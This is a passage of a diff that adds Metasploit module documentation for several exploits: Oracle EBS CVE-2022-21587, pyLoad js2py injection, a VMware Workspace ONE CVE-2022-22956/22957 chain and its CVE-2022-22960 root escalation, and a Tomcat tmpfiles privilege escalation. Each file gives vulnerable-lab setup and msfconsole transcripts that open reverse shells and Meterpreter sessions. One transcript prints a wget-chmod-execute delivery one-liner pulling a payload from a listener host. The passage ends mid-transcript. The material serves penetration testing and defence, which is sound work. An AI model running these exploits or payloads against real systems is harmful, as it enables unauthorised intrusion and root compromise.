[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.201.10:8080/JKGheHgpr9TQf
|
||||
[*] Client 192.168.201.31 (Wget/1.13.4 (linux-gnu)) requested /JKGheHgpr9TQf
|
||||
[*] Sending payload to 192.168.201.31 (Wget/1.13.4 (linux-gnu))
|
||||
[*] Sending stage (3045348 bytes) to 192.168.201.31
|
||||
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.31:43377) at 2023-03-22 12:46:57 +0000
|
||||
[*] Command Stager progress - 100.00% done (120/120 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: optergy
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.31
|
||||
OS : Debian 7.11 (Linux 3.2.0-4-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > exit
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations identified.
|
||||
@@ -0,0 +1,135 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits CVE-2022-21587, an unauthenticated arbitrary file upload vulnerability in Oracle
|
||||
Web Applications Desktop Integrator as shipped with Oracle E-Business Suite (EBS) versions
|
||||
12.2.3 through to 12.2.11.
|
||||
|
||||
The exploit uploads a Java Server Page (JSP) payload in order to achieve code execution
|
||||
as the `oracle` user, and will use the `java/jsp_shell_reverse_tcp` payload by default.
|
||||
|
||||
The Oracle EBS product is shipped as either a standalone appliance based on Linux, or an self
|
||||
hosted application supporting multiple platforms, including Linux, Windows, Solaris, AIX and
|
||||
HP-UP. This exploit module has been tested against the Linux based appliance, specifically
|
||||
version 12.2.10.
|
||||
|
||||
A full technical analysis of the vulnerability can be found on
|
||||
[AttackerKB](https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis).
|
||||
|
||||
## Target Setup
|
||||
|
||||
To setup the Oracle EBS appliance, you must download the appliance files, rebuild the appliance
|
||||
image and install the appliance as a [VirtualBox](https://www.virtualbox.org/) virtual machine.
|
||||
|
||||
* Register an account at [Oracle E-Delivery](https://edelivery.oracle.com/osdc/faces/SoftwareDelivery)
|
||||
and login to search for the required software. You will need to search for `REL: Oracle VM Virtual Appliance for
|
||||
Oracle E-Business Suite` to find the appropriate download links. The version number should be listed at the end of the link.
|
||||
|
||||
* You will be presented with multiple ZIP files to download. These files will be extracted and
|
||||
concatenated to create a single 70 GB Oracle Virtual Appliance (OVA) file. Instructions on how
|
||||
to do this, as well as additional configuration instructions, can be found in the extracted
|
||||
documentation located in `\V1005962-01\Documents\Oracle VM Virtual Appliance for Oracle E-Business
|
||||
Suite Deployment Guide_Release 12.2.10.html`. Additionally a step by step guide for installation
|
||||
and setup is available [here](https://blog.rishoradev.com/2021/04/12/oracle-ebs-r12-on-virtualbox/).
|
||||
|
||||
* Import the OVA file into VirtualBox. Once this is completed you may power on the virtual appliance.
|
||||
You will require around 320 GB of hard disk space to complete this operation. Note, issues were encountered
|
||||
if the IP address for the appliance changed after the initial install. It is recommended to use either a
|
||||
static IP address or ensure your DHCP server provides the same address to the appliance.
|
||||
|
||||
* When booting the virtual appliance you will be asked to select a Linux kernel to boot from. The option
|
||||
`Oracle Linux Server 7.9, with Linux 3.10.0-1160.11.1.e17.x86_64` was chosen during testing.
|
||||
|
||||
* Upon booting the virtual appliance for the first time you will be asked to login. Enter the username `root`
|
||||
and follow the instructions displayed in the console to set the default passwords for the `root` and
|
||||
`oracle` and `applmgr` user accounts. If asked to install the VISION demo instance, enter `VISION` to install
|
||||
the demo data.
|
||||
|
||||
* Once installation and setup has been completed, you can SSH into the appliance as the user
|
||||
`oracle` and start the database and application services with the following commands. Note, it has been observed that
|
||||
when starting the apps, some may timeout when starting (an error will be displayed in the console), and may require
|
||||
running `startapps.sh` a second time.
|
||||
|
||||
```
|
||||
cd /u01/install/APPS/scripts/
|
||||
./startdb.sh
|
||||
./startapps.sh
|
||||
```
|
||||
|
||||
* You can now access the WebLogic server over HTTP port `8000`.
|
||||
|
||||
## Options
|
||||
|
||||
## Verification Steps
|
||||
|
||||
From msfconsole perform the following steps:
|
||||
|
||||
1. `use exploit/linux/http/oracle_ebs_rce_cve_2022_21587`
|
||||
2. Set `RHOST` to the target address and `RPORT` to the target port. The default `RPORT` is 8000 for
|
||||
HTTP and 4443 for HTTPS. If using HTTPS set `SSL` to `true`.
|
||||
3. Set `LHOST` and `LPORT` values for the default `java/jsp_shell_reverse_tcp` payload.
|
||||
4. `check` to ensure the target is vulnerable.
|
||||
5. `exploit`
|
||||
6. Verify a command session has been opened and you can execute commands as the `oracle` user.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Oracle E-Business Suite 12.2.10 - Oracle Virtual Appliance (OVA)
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/oracle_ebs_rce_cve_2022_21587
|
||||
[*] Using configured payload java/jsp_shell_reverse_tcp
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > show options
|
||||
|
||||
Module options (exploit/linux/http/oracle_ebs_rce_cve_2022_21587):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metaspl
|
||||
oit/basics/using-metasploit.html
|
||||
RPORT 8000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/jsp_shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
SHELL no The system shell to use.
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Oracle EBS on Linux
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set RHOST 192.168.86.37
|
||||
RHOST => 192.168.86.37
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set LHOST 192.168.86.5
|
||||
LHOST => 192.168.86.5
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > check
|
||||
[*] 192.168.86.37:8000 - The target appears to be vulnerable. Oracle EBS version 12.2.10 detected.
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.5:4444
|
||||
[*] Targeting the endpoint: /OA_HTML/BneUploaderService
|
||||
[*] Triggering the payload...
|
||||
[+] Deleted /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/ygrne.jsp
|
||||
[*] Command shell session 1 opened (192.168.86.5:4444 -> 192.168.86.37:59288) at 2023-02-10 12:20:43 +0000
|
||||
|
||||
id
|
||||
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||||
uname -a
|
||||
Linux apps 3.10.0-1160.11.1.el7.x86_64 #1 SMP Tue Dec 15 11:58:45 PST 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.37 - Command shell session 1 closed.
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) >
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
## Vulnerable Application
|
||||
|
||||
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport
|
||||
functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request
|
||||
to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,
|
||||
the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load" service runs on
|
||||
port 9666 and can be used remotely without authentication.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start a vulnerable instance of pyLoad using docker
|
||||
2. Start msfconsole
|
||||
3. Run: `use exploit/linux/http/pyload_js2py_exec`
|
||||
4. Set the `RHOST`, `PAYLOAD` and payload associated options
|
||||
5. Run: `run`
|
||||
|
||||
### Docker Setup
|
||||
|
||||
```
|
||||
docker run -d \
|
||||
--name=pyload-ng \
|
||||
-e PUID=1000 \
|
||||
-e PGID=1000 \
|
||||
-e TZ=Etc/UTC \
|
||||
-p 8000:8000 \
|
||||
-p 9666:9666 \
|
||||
--restart unless-stopped \
|
||||
lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev30
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### pyLoad 0.5.0b3.dev30 via Docker
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/pyload_js2py_exec
|
||||
[*] Using configured payload cmd/unix/generic
|
||||
msf6 exploit(linux/http/pyload_js2py_exec) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 exploit(linux/http/pyload_js2py_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/pyload_js2py_exec) > set LHOST 192.168.250.134
|
||||
LHOST => 192.168.250.134
|
||||
msf6 exploit(linux/http/pyload_js2py_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Successfully tested command injection.
|
||||
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
|
||||
[*] Sending stage (24380 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:40830) at 2023-02-15 15:28:52 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: abc
|
||||
meterpreter > sysinfo
|
||||
Computer : f03ec089a4fe
|
||||
OS : Linux 6.0.18-200.fc36.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Jan 7 17:08:48 UTC 2023
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter > pwd
|
||||
/config/data
|
||||
meterpreter >
|
||||
```
|
||||
+130
@@ -0,0 +1,130 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module combines two vulnerabilities in order achieve remote code execution in the context of the `horizon` user.
|
||||
The first vulnerability CVE-2022-22956 is an authentication bypass in OAuth2TokenResourceController ACS which allows
|
||||
a remote, unauthenticated attacker to bypass the authentication mechanism and execute any operation. The second
|
||||
vulnerability CVE-2022-22957 is a JDBC injection RCE specifically in the DBConnectionCheckController class's dbCheck
|
||||
method which allows an attacker to deserialize arbitrary Java objects which can allow remote code execution.
|
||||
|
||||
CVE-2022-22956 & CVE-2022-22957:
|
||||
|
||||
| Vulnerable Application | Vulnerable version |
|
||||
|---|---|
|
||||
| VMware Workspace ONE Access (Access) | 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0 |
|
||||
| VMware Identity Manager (vIDM) | 3.3.6, 3.3.5, 3.3.4, 3.3.3 |
|
||||
| VMware vRealize Automation (vRA) | 8.x, 7.6 |
|
||||
| VMware Cloud Foundation | 4.x |
|
||||
| vRealize Suite Lifecycle Manager | 8.x |
|
||||
|
||||
### Setup
|
||||
|
||||
In order to download a vulnerable application you do need VMware Customer Connect credentials. Navigate to
|
||||
[Download VMware Workspace ONE Access (VIDM)](https://customerconnect.vmware.com/downloads/info/slug/desktop_end_user_computing/vmware_workspace_one_access_vidm/20_10).
|
||||
to download the OVA file.
|
||||
During VM Configuration within VMware Fusion, in Addition Settings input the following:
|
||||
|
||||
#### Application:
|
||||
|
||||
Timezone: (timezone of your choice)
|
||||
|
||||
Join the VMware Custom Experience Improvement Program: (deselect)
|
||||
|
||||
#### Networking Properties: (note the following may depend on your network configuration)
|
||||
|
||||
Host Name (FQDN): access01.corp.local
|
||||
|
||||
Default Gateway: 192.168.123.1
|
||||
|
||||
Domain Name: (blank)
|
||||
|
||||
Domain Search Path: (blank)
|
||||
|
||||
DNS: 192.168.123.1
|
||||
|
||||
IP Address: 192.168.123.16
|
||||
Network: 255.255.255.0
|
||||
|
||||
Add the following line to your `/etc/hosts` file:
|
||||
`192.168.123.16 access.test.local`
|
||||
|
||||
Be sure to change the network adapter of the VM to the network adapter that corresponds to the subnet of the static IP address you assigned above.
|
||||
|
||||
#### GUI Setup
|
||||
|
||||
Once running navigate to https://access.test.local:8443/cfg/setup
|
||||
in order to complete the following setup requirements:
|
||||
|
||||
Set Passwords
|
||||
- Appliance Administrator Account
|
||||
- Appliance Root Account
|
||||
- Remote User Account
|
||||
|
||||
Select Database
|
||||
- Database Type: Internal Database
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain`
|
||||
1. Set the `RHOST`, `LHOST` and `TARGET` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `horizon` user.
|
||||
|
||||
## Scenarios
|
||||
### VMware Identity Manager 21.08.0.1-19010796
|
||||
```
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set rhosts 192.168.123.16
|
||||
rhosts => 192.168.123.16
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] Leaked client_id: acs
|
||||
[+] Leaked client_secret: Oh2CB8n8PSrBER3NwXs41AaY3D49G7mt
|
||||
[+] The target is vulnerable. Successfully by-passed authentication by exploiting CVE-2022-22956
|
||||
[*] Using URL: http://192.168.123.1:8080/ONgtre.xml
|
||||
[*] Sending stage (24772 bytes) to 192.168.123.16
|
||||
[+] Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.16:53750) at 2023-04-07 10:28:46 -0400
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: horizon
|
||||
meterpreter > sysinfo
|
||||
Computer : access01.corp.local
|
||||
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 192.168.123.16 - Meterpreter session 1 closed. Reason: Died
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] Leaked client_id: Service__OAuth2Client
|
||||
[+] Leaked client_secret: 869zxHSe5G7m7KAUSFm4iw3ByZOTdLRc
|
||||
[+] The target is vulnerable. Successfully by-passed authentication by exploiting CVE-2022-22956
|
||||
[*] Using URL: http://192.168.123.1:8080/mQUV.xml
|
||||
[*] Using URL: http://192.168.123.1:8080/JlLraNNZdU
|
||||
[*] Sending stage (3045348 bytes) to 192.168.123.16
|
||||
[+] Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell
|
||||
[*] Meterpreter session 2 opened (192.168.123.1:4444 -> 192.168.123.16:53818) at 2023-04-07 10:29:26 -0400
|
||||
[*] Command Stager progress - 100.00% done (116/116 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: horizon
|
||||
meterpreter > sysinfo
|
||||
Computer : access01.corp.local
|
||||
OS : VMware Photon OS 3.0 (Linux 4.19.217-1.ph3)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
|
||||
```
|
||||
@@ -0,0 +1,148 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in RedHat based systems where
|
||||
improper file permissions are applied to `/usr/lib/tmpfiles.d/tomcat.conf`
|
||||
for Apache Tomcat versions before 7.0.54-8. This may also work against
|
||||
|
||||
The configuration files in `tmpfiles.d` are used by `systemd-tmpfiles` to manage
|
||||
temporary files including their creation.
|
||||
|
||||
With this weak permission, we're able to inject commands into `systemd-tmpfiles`
|
||||
service to write a cron job to execute our payload.
|
||||
|
||||
`systemd-tmpfiles` is executed by default on boot on RedHat-based systems
|
||||
through `systemd-tmpfiles-setup.service`. Depending on the system in use,
|
||||
the execution of `systemd-tmpfiles` could also be triggered by other
|
||||
services, cronjobs, startup scripts etc.
|
||||
|
||||
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
|
||||
|
||||
### Install
|
||||
|
||||
This will install Tomcat 7 (7.0.54-3) on Fedora 21.
|
||||
|
||||
We also change the `tomcat` user's shell to `/bin/bash` to make setting up the priv-esc
|
||||
easier.
|
||||
|
||||
```
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-lib-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-collections-3.2.1-20.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-daemon-1.0.15-8.fc21.x86_64.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-dbcp-1.4-16.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-logging-1.1.3-14.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-pool-1.6-9.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-el-2.2-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-jsp-2.2-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-servlet-3.0-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/e/ecj-4.4.0-1.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jta-1.1.1-17.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jms-1.1.1-19.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/l/log4j12-1.2.17-7.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/j/javamail-1.5.1-3.fc21.noarch.rpm
|
||||
rpm -i *.rpm
|
||||
sudo sed -i 's|/bin/nologin|/bin/bash|g' /etc/passwd
|
||||
```
|
||||
|
||||
You can now `su tomcat` and get your starter shell.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get an initial shell as the `tomcat` user
|
||||
4. Do: `use exploit/linux/local/tomcat_rhel_based_temp_priv_esc`
|
||||
5. Do: `set session #`
|
||||
6. Do: `run`
|
||||
7. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
### WritableDir
|
||||
|
||||
A directory where we can write and execute files. Defaults to `/tmp`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tomcat 7 (7.0.54-3) on Fedora 21
|
||||
|
||||
Initial shell
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(multi/script/web_delivery) > set target 7
|
||||
target => 7
|
||||
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using URL: http://1.1.1.1:8080/fGd5wnh85
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO TbT9zhqH --no-check-certificate http://1.1.1.1:8080/fGd5wnh85; chmod +x TbT9zhqH; ./TbT9zhqH& disown
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045348 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41270) at 2023-01-19 15:22:23 -0500
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) > jobs -K
|
||||
Stopping all jobs...
|
||||
|
||||
[*] Server stopped.
|
||||
msf6 exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: tomcat
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.domain
|
||||
OS : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Priv Esc
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_rhel_based_temp_priv_esc
|
||||
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Vulnerable app version detected: 7.0.54.pre.3
|
||||
[*] Creating backup of /usr/lib/tmpfiles.d/tomcat.conf
|
||||
[+] Original /usr/lib/tmpfiles.d/tomcat.conf backed up to /root/.msf4/loot/20230119152336_default_2.2.2.2_usrlibtmpfile_530018.txt
|
||||
[*] Uploading Payload to /tmp/.4ptbf6f4fW
|
||||
[*] Writing '/tmp/.4ptbf6f4fW' (1068640 bytes) ...
|
||||
[*] Writing permission elevation into /usr/lib/tmpfiles.d/tomcat.conf
|
||||
[*] Creating cron job in /etc/cron.d/grPwZ
|
||||
[+] Waiting 1800 seconds on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)
|
||||
[*] Sleeping for 2 seconds before attempting again
|
||||
[*] Sleeping for 4 seconds before attempting again
|
||||
[*] Sleeping for 8 seconds before attempting again
|
||||
[-] /etc/cron.d/grPwZ not found, checking in 10 seconds
|
||||
[*] Waiting on cron to kick the payload (~1 minute)
|
||||
[+] Deleted /tmp/.4ptbf6f4fW
|
||||
[+] Deleted /etc/cron.d/grPwZ
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:41271) at 2023-01-19 15:24:24 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits CVE-2022-22960 which allows the user to overwrite the permissions of the certproxyService.sh script
|
||||
so that it can be modified by the horizon user. This allows a local attacker with the uid 1001 to escalate their
|
||||
privileges to root access.
|
||||
|
||||
| Vulnerable Application | Vulnerable version |
|
||||
|---|---|
|
||||
| VMware Workspace ONE Access (Access) | 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0 |
|
||||
| VMware Identity Manager (vIDM) | 3.3.6, 3.3.5, 3.3.4, 3.3.3 |
|
||||
| VMware vRealize Automation (vRA) | 8.x, 7.6 |
|
||||
| VMware Cloud Foundation | 4.x |
|
||||
| vRealize Suite Lifecycle Manager| 8.x |
|
||||
|
||||
### Setup
|
||||
|
||||
In order to download a vulnerable application you do need VMware Customer Connect credentials. Navigate to
|
||||
[Download VMware Workspace ONE Access (VIDM)](https://customerconnect.vmware.com/downloads/info/slug/desktop_end_user_computing/vmware_workspace_one_access_vidm/20_10).
|
||||
to download the OVA file.
|
||||
During VM Configuration within VMware Fusion, in Addition Settings input the following:
|
||||
|
||||
#### Application:
|
||||
|
||||
Timezone: (timezone of your choice)
|
||||
|
||||
Join the VMware Custom Experience Improvement Program: (deselect)
|
||||
|
||||
#### Networking Properties: (note the following may depend on your network configuration)
|
||||
|
||||
Host Name (FQDN): access01.corp.local
|
||||
|
||||
Default Gateway: 192.168.123.1
|
||||
|
||||
Domain Name: (blank)
|
||||
|
||||
Domain Search Path: (blank)
|
||||
|
||||
DNS: 192.168.123.1
|
||||
|
||||
IP Address: 192.168.123.16
|
||||
Network: 255.255.255.0
|
||||
|
||||
Add the following line to your `/etc/hosts` file:
|
||||
`192.168.123.16 access.test.local`
|
||||
|
||||
Be sure to change the network adapter of the VM to the network adapter that corresponds to the subnet of the static IP address you assigned above.
|
||||
|
||||
#### GUI Setup
|
||||
|
||||
Once running navigate to https://access.test.local:8443/cfg/setup
|
||||
in order to complete the following setup requirements:
|
||||
|
||||
Set Passwords
|
||||
- Appliance Administrator Account
|
||||
- Appliance Root Account
|
||||
- Remote User Account
|
||||
|
||||
Select Database
|
||||
- Database Type: Internal Database
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/local/vmware_workspace_one_access_cve_2022_22960`
|
||||
1. Set the `SESSION`, `LHOST`, and `TARGET`
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `root` user.
|
||||
|
||||
## Scenarios
|
||||
### VMware Identity Manager 21.08.0.1-19010796
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > use exploit/linux/local/vmware_workspace_one_access_cve_2022_22960
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set lport 4443
|
||||
lport => 4443
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4443
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. vulnerable
|
||||
[*] Writing '/tmp/QbCpIao.sh' (1658 bytes) ...
|
||||
[*] Triggering the payload...
|
||||
[*] Sending stage (24772 bytes) to 192.168.123.16
|
||||
[+] Deleted /tmp/QbCpIao.sh
|
||||
[*] Meterpreter session 9 opened (192.168.123.1:4443 -> 192.168.123.16:53800) at 2023-04-07 10:38:05 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : access01.corp.local
|
||||
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 192.168.123.16 - Meterpreter session 9 closed. Reason: User exit
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4443
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. vulnerable
|
||||
[*] Writing '/tmp/oMNw.sh' (250 bytes) ...
|
||||
[*] Writing '/tmp/FsMoUmqB.sh' (1132 bytes) ...
|
||||
[*] Triggering the payload...
|
||||
